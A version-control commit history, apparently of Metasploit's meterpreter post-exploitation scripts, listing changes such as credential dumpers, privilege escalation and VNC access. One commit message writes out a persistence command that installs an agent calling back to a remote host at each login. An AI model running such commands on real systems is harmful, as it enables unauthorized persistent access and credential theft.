Commit Graph

197 Commits (dffd8c0c971047e18c6a8d221d34ccea54c22841)

Author SHA1 Message Date
HD Moore 932ffd65c2 Add systeminfo to the list, only works on XP+
git-svn-id: file:///home/svn/framework3/trunk@8964 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-31 04:45:50 +00:00
Joshua Drake e45a29fd4a dont exit on session, show 100% progress line, kill the job in the background after 10 seconds
git-svn-id: file:///home/svn/framework3/trunk@8954 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-29 17:37:58 +00:00
HD Moore 1a53881e3b Add Kurt Grutzmacher's VNC password dumper
git-svn-id: file:///home/svn/framework3/trunk@8913 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-25 03:50:25 +00:00
Joshua Drake b069a43477 handle stopping the handler job in case of failure
git-svn-id: file:///home/svn/framework3/trunk@8912 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-25 01:45:10 +00:00
James Lee 79ac118f47 targ_host -> target_host
git-svn-id: file:///home/svn/framework3/trunk@8910 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-25 01:11:10 +00:00
Joshua Drake 210e241795 use exploit datastore instead of global datastore -- see #394
git-svn-id: file:///home/svn/framework3/trunk@8881 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-22 20:17:18 +00:00
HD Moore b0be430657 Add L4teral's screen unlocker
git-svn-id: file:///home/svn/framework3/trunk@8824 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-15 20:28:10 +00:00
Joshua Drake a811ad0c32 clean up, add comments, and fix bug in command dispatcher, fixes #394
git-svn-id: file:///home/svn/framework3/trunk@8808 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-12 22:59:19 +00:00
Joshua Drake 7b41d08387 remove dupe "-s" option from help, add "-u" option to upgrade command shell session to meterpreter
git-svn-id: file:///home/svn/framework3/trunk@8807 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-12 21:51:55 +00:00
Carlos Perez bbca886cb7 Meterpreter script by Dave Hull for extracting information from Windows lnk files
git-svn-id: file:///home/svn/framework3/trunk@8802 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-12 02:01:15 +00:00
Carlos Perez b0da8cf6d3 Updated script for new methods
git-svn-id: file:///home/svn/framework3/trunk@8736 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-08 03:15:57 +00:00
HD Moore bfe0e013da Allow VNCPORT to be set via -v
git-svn-id: file:///home/svn/framework3/trunk@8735 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-07 23:01:33 +00:00
HD Moore aebedfdb2d Propogate the workspace down to multi-handlers
git-svn-id: file:///home/svn/framework3/trunk@8734 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-07 22:49:08 +00:00
Carlos Perez 5f0e0916f3 Improved Pidging Meterpreter Script by Ryan Hayward
git-svn-id: file:///home/svn/framework3/trunk@8683 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-02 01:54:14 +00:00
James Lee 0bfc8621d5 actually honor the argument to -f
git-svn-id: file:///home/svn/framework3/trunk@8588 4d416f70-5f16-0410-b530-b9f4589650da
2010-02-22 22:23:30 +00:00
HD Moore 7f526940b7 Fix the framework reference
git-svn-id: file:///home/svn/framework3/trunk@8313 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-28 23:18:45 +00:00
Joshua Drake 6f53dad316 add priv escalation meterpreter script for SRT WebDrive bug
git-svn-id: file:///home/svn/framework3/trunk@8301 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-28 19:00:36 +00:00
HD Moore 9548e7837f Wrap the getuid in exception handlers
git-svn-id: file:///home/svn/framework3/trunk@8254 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-27 04:50:43 +00:00
Joshua Drake 5b0cdc2349 change drive as well as directory
this fixes the escalation not working when working directory is not on the same drive as the temp directory


git-svn-id: file:///home/svn/framework3/trunk@8252 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-27 03:29:05 +00:00
HD Moore 13b3c82059 Try a slightly different method of execution, hopefully solve some corner cases
git-svn-id: file:///home/svn/framework3/trunk@8249 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-27 01:00:41 +00:00
Joshua Drake 31949c4343 svn keywords fixups
fixed a bunch of $Id$ and $Revision$ typos
added keywords property to files missing it



git-svn-id: file:///home/svn/framework3/trunk@8242 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-26 20:12:13 +00:00
James Lee 9bca87a611 store results in the database
git-svn-id: file:///home/svn/framework3/trunk@8239 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-26 18:29:01 +00:00
HD Moore e2e681fa2e Minor cosmetic changes
git-svn-id: file:///home/svn/framework3/trunk@8229 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-25 17:07:01 +00:00
HD Moore 322da7dca8 Add a meterpreter script to leverage kitrap0d
git-svn-id: file:///home/svn/framework3/trunk@8228 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-25 17:03:20 +00:00
James Lee aa4e0429ad update to use the new api
git-svn-id: file:///home/svn/framework3/trunk@8208 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-22 23:53:12 +00:00
James Lee fca4d8f3dc fix indentation
git-svn-id: file:///home/svn/framework3/trunk@8207 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-22 23:49:15 +00:00
Joshua Drake 15309ce072 fix example text \\ -> \\\\
git-svn-id: file:///home/svn/framework3/trunk@8187 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-21 17:57:12 +00:00
Carlos Perez 469e1deeb7 Removed useless wireless interface registry key dump
git-svn-id: file:///home/svn/framework3/trunk@8175 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-20 01:41:21 +00:00
Carlos Perez 4e5c0f55bf Bug fix for when running against WindowsXP RTM, and now dumps wireless registry key for 7
git-svn-id: file:///home/svn/framework3/trunk@8172 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-20 01:00:05 +00:00
Carlos Perez 5ed57c6768 Fixed problen whe using AutoScript and sessions -s command
git-svn-id: file:///home/svn/framework3/trunk@8170 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-19 23:52:14 +00:00
Joshua Drake 6293ed89d5 fix variable scope issue
git-svn-id: file:///home/svn/framework3/trunk@8161 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-19 17:03:53 +00:00
Carlos Perez f2e61b9cda All output from enumeration that could be saved in a CSV is now saved in one for easier parsing
git-svn-id: file:///home/svn/framework3/trunk@8143 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-18 01:17:54 +00:00
Carlos Perez f054310e0c Bug fixes, and now all commands output is saved to individual files for easier parsing
git-svn-id: file:///home/svn/framework3/trunk@8142 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-17 19:11:40 +00:00
HD Moore 64c4754ade Add -V to avoid automatic VNC connection
git-svn-id: file:///home/svn/framework3/trunk@8135 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-15 16:17:13 +00:00
Carlos Perez 4f8a3dc95b Meterpreter Script for extracting username, password, server and port of configured services in pidgin client
git-svn-id: file:///home/svn/framework3/trunk@8111 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-14 03:23:47 +00:00
James Lee 0d9e372497 remove more dumb debug prints
git-svn-id: file:///home/svn/framework3/trunk@8110 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-13 23:49:31 +00:00
James Lee 979890f6b3 merge the vnc scripts. 'run vnc -i -t' now does what vnc_oneport used to do
git-svn-id: file:///home/svn/framework3/trunk@8099 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-12 00:39:17 +00:00
James Lee be93b0dbbf merge the vnc scripts. 'run vnc -i -t' now does what vnc_oneport used to do
git-svn-id: file:///home/svn/framework3/trunk@8098 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-12 00:39:00 +00:00
James Lee f0a675e81d merge patch from William Monk to disable courtesy shell. fixes 754
git-svn-id: file:///home/svn/framework3/trunk@8095 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-11 18:15:29 +00:00
HD Moore 1f0380e5ec Handle access errors a little better
git-svn-id: file:///home/svn/framework3/trunk@8054 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-01 19:51:22 +00:00
HD Moore 20932176da Fix a bug that manifests on ruby 1.9.1
git-svn-id: file:///home/svn/framework3/trunk@8053 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-01 16:55:21 +00:00
HD Moore 4512089a34 Registry-based hashdump implementation with syskey decryption. Happy New Years :-)
git-svn-id: file:///home/svn/framework3/trunk@8051 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-01 03:08:17 +00:00
HD Moore aeebec3b7f Fix an issue where %TEMP% contains a space
git-svn-id: file:///home/svn/framework3/trunk@8019 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-29 04:11:58 +00:00
HD Moore 5938d289f5 Fix strip vs strip!
git-svn-id: file:///home/svn/framework3/trunk@8006 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-28 14:49:29 +00:00
HD Moore f000c69e80 Handle the case of incognito returning an empty token list
git-svn-id: file:///home/svn/framework3/trunk@8005 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-28 14:38:25 +00:00
Carlos Perez 2b6a1993aa added portforwading option
git-svn-id: file:///home/svn/framework3/trunk@7969 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-25 15:58:43 +00:00
Carlos Perez 7dcef5359c Added option to port fordward RDP connection
git-svn-id: file:///home/svn/framework3/trunk@7968 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-25 13:38:46 +00:00
Carlos Perez 2af04a5a47 Fixed issues while running against Windows 7 with UAC enabled
git-svn-id: file:///home/svn/framework3/trunk@7967 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-25 05:04:42 +00:00
Carlos Perez ff0c6456cf Multi-threaded execution of shell commands and wmic. Uses hostname instead of IP for when doing client side and targets are behind a NAT device.
git-svn-id: file:///home/svn/framework3/trunk@7909 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-17 18:49:08 +00:00
HD Moore 8b6f452b11 Merges in mubix's VNC script (uses pivoting to keep all comms over the main session). Adds the -f parameter to the migrate command to indicate that a new process should be created always
git-svn-id: file:///home/svn/framework3/trunk@7872 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-15 05:10:33 +00:00
HD Moore 7a5267015e Adds the ability to obtain a VNC desktop through an existing meterpreter session
git-svn-id: file:///home/svn/framework3/trunk@7848 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-14 14:50:26 +00:00
HD Moore 4657436e1d See #609. Force the EXITFUNC to process for persistence.rb's handler
git-svn-id: file:///home/svn/framework3/trunk@7766 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-09 00:18:43 +00:00
James Lee d31aa9094f add usage
git-svn-id: file:///home/svn/framework3/trunk@7363 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 00:44:03 +00:00
James Lee 50aa304692 add usage and option parsing
git-svn-id: file:///home/svn/framework3/trunk@7362 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 00:40:19 +00:00
James Lee 1afbd3da5f print_status -> print_line in usage
git-svn-id: file:///home/svn/framework3/trunk@7361 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 00:38:05 +00:00
James Lee 573b339a08 clean up usage
git-svn-id: file:///home/svn/framework3/trunk@7360 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 00:36:04 +00:00
James Lee 8aa3a985da spacing and -h
git-svn-id: file:///home/svn/framework3/trunk@7359 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 00:33:37 +00:00
Mario Ceballos 2ef31a70f6 removed the return and use Rex::Script::Completed
git-svn-id: file:///home/svn/framework3/trunk@7354 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-04 17:25:22 +00:00
James Lee 56f18687c5 more hot -h action
git-svn-id: file:///home/svn/framework3/trunk@7351 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-04 16:35:51 +00:00
HD Moore 83e9cf8472 Fixes #456. Matches the new API
git-svn-id: file:///home/svn/framework3/trunk@7337 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 19:57:52 +00:00
James Lee 0a6bb91cb9 keywords
git-svn-id: file:///home/svn/framework3/trunk@7276 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 15:14:28 +00:00
James Lee 127b5f8608 keywords, maybe?
git-svn-id: file:///home/svn/framework3/trunk@7275 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 15:12:05 +00:00
Mario Ceballos 3d3e031690 fixes ticket 419
git-svn-id: file:///home/svn/framework3/trunk@7274 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 11:21:23 +00:00
James Lee 232c218475 raise instead of return
git-svn-id: file:///home/svn/framework3/trunk@7273 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 06:02:14 +00:00
James Lee cf25726236 killav usage
git-svn-id: file:///home/svn/framework3/trunk@7272 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 05:50:02 +00:00
James Lee adece18fd5 keylogrecorder usage; spacing; don't try to migrate into the process we're currently running in
git-svn-id: file:///home/svn/framework3/trunk@7271 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 05:26:08 +00:00
James Lee 6e85ba4393 hostedit usage
git-svn-id: file:///home/svn/framework3/trunk@7270 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 04:56:55 +00:00
James Lee 198bf48735 gettelnet usage and spacing
git-svn-id: file:///home/svn/framework3/trunk@7269 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 04:49:01 +00:00
James Lee bf48e39532 get_local_subnets usage
git-svn-id: file:///home/svn/framework3/trunk@7268 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 04:43:59 +00:00
James Lee 0a074b294f getgui option parsing; usage; spacing
git-svn-id: file:///home/svn/framework3/trunk@7267 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 04:41:51 +00:00
James Lee 1aa9d1b662 fix some spacing; better option parsing; don't write a file if we don't have to
git-svn-id: file:///home/svn/framework3/trunk@7265 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 04:33:53 +00:00
HD Moore 6dfaaef295 Remove the bogus puts()
git-svn-id: file:///home/svn/framework3/trunk@7261 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 21:55:59 +00:00
James Lee cadb1c9337 add -h and usage to get_local_subnets
git-svn-id: file:///home/svn/framework3/trunk@7259 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 21:03:42 +00:00
HD Moore b0a38b1cfa Fix bad uses of puts() and add raise Rex::Script::Completed where appropriate. These still need a major overhaul to fix tab indents and other problems
git-svn-id: file:///home/svn/framework3/trunk@7258 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 20:57:23 +00:00
HD Moore f9f690b0e7 Updated prefetch script and creation of Rex::Script::Completed as a clean way to exit meterpreter scripts
git-svn-id: file:///home/svn/framework3/trunk@7257 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 20:50:07 +00:00
James Lee e93995fdab add -h to credcollect
git-svn-id: file:///home/svn/framework3/trunk@7255 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 19:52:40 +00:00
James Lee 5fd8dc748a add -h and usage to checkvm
git-svn-id: file:///home/svn/framework3/trunk@7254 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 18:53:43 +00:00
James Lee 134c8d75d7 better option handling, beginnings of universal -h support
git-svn-id: file:///home/svn/framework3/trunk@7253 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 18:36:47 +00:00
James Lee e836e6373a add Id to scripts; remove shebang since they should never run from commandline
git-svn-id: file:///home/svn/framework3/trunk@7252 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 18:04:39 +00:00
James Lee daed2d5d8f spaces --> tabs
git-svn-id: file:///home/svn/framework3/trunk@7251 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 17:56:01 +00:00
James Lee cdc042d49b keywords
git-svn-id: file:///home/svn/framework3/trunk@7250 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 17:45:34 +00:00
James Lee 15f8538e1c spaces --> tabs
git-svn-id: file:///home/svn/framework3/trunk@7249 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 17:44:53 +00:00
HD Moore 186be3cefe Removing the old name
git-svn-id: file:///home/svn/framework3/trunk@7231 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 05:39:11 +00:00
HD Moore 5417926638 Update the prefix script's name
git-svn-id: file:///home/svn/framework3/trunk@7230 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 05:38:26 +00:00
HD Moore a6c738a89f Add Milo's prefetch meterpreter script, see http://milo2012.wordpress.com/2009/10/22/meterpreter-script-for-prefetch-tool/
git-svn-id: file:///home/svn/framework3/trunk@7229 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 05:25:20 +00:00
HD Moore a3c9c5d669 Fixes a compile error that only flagged on ruby 1.8
git-svn-id: file:///home/svn/framework3/trunk@7219 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 22:42:44 +00:00
HD Moore 4b64e01596 Fix the payload name
git-svn-id: file:///home/svn/framework3/trunk@7216 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 19:44:53 +00:00
HD Moore fdda743d71 Add the metsvc script
git-svn-id: file:///home/svn/framework3/trunk@7215 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 19:36:19 +00:00
Mario Ceballos fa14f1c50c added meterpreter script for CVE-2007-0161 (hp pml driver)
git-svn-id: file:///home/svn/framework3/trunk@7209 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 19:05:37 +00:00
HD Moore 15e39e95db Fixes #386. Adds a persistent VBS payload option (keep running the payload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line:
meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300

This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:

meterpreter> run persistence -A

This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.



git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 02:42:39 +00:00
Carlos Perez 627f0b7261 Fixed problem when parsing options
git-svn-id: file:///home/svn/framework3/trunk@7152 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-12 23:42:50 +00:00
Carlos Perez e259c04c23 Corrected error, calling undefined method instead of the session
git-svn-id: file:///home/svn/framework3/trunk@7151 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-12 23:34:41 +00:00
kris a9791f2b28 just more typos, etc
git-svn-id: file:///home/svn/framework3/trunk@7140 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-11 17:30:24 +00:00
kris 9e2ebb5a1d just typos
git-svn-id: file:///home/svn/framework3/trunk@7139 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-11 17:09:17 +00:00
kris ea67ed2554 output typo
git-svn-id: file:///home/svn/framework3/trunk@7131 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-06 05:39:05 +00:00
Carlos Perez 45372a6870 Minor change in description of what it is doing
git-svn-id: file:///home/svn/framework3/trunk@7114 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 10:51:52 +00:00
Carlos Perez 2176a774ba Forgot to test under Ruby 1.9, made changes specific to string handling and made command array a multiline string
git-svn-id: file:///home/svn/framework3/trunk@7113 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 01:10:22 +00:00
Carlos Perez ad0dcfbd12 Fixed issues when running with AutoRunScript and fixed problem with script collection parsing option
git-svn-id: file:///home/svn/framework3/trunk@7112 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 00:46:05 +00:00
HD Moore e03d2c84b3 Adds a meterpreter script to trigger the VirtualBox DoS - also an example of running shellcode in another process from the meterpreter api
git-svn-id: file:///home/svn/framework3/trunk@6935 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-02 16:42:54 +00:00
Carlos Perez 263998e27d Added UAC detection for Windows Vista and Windows 7 and checking so as to be able to perform certain accions
git-svn-id: file:///home/svn/framework3/trunk@6904 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-26 17:31:32 +00:00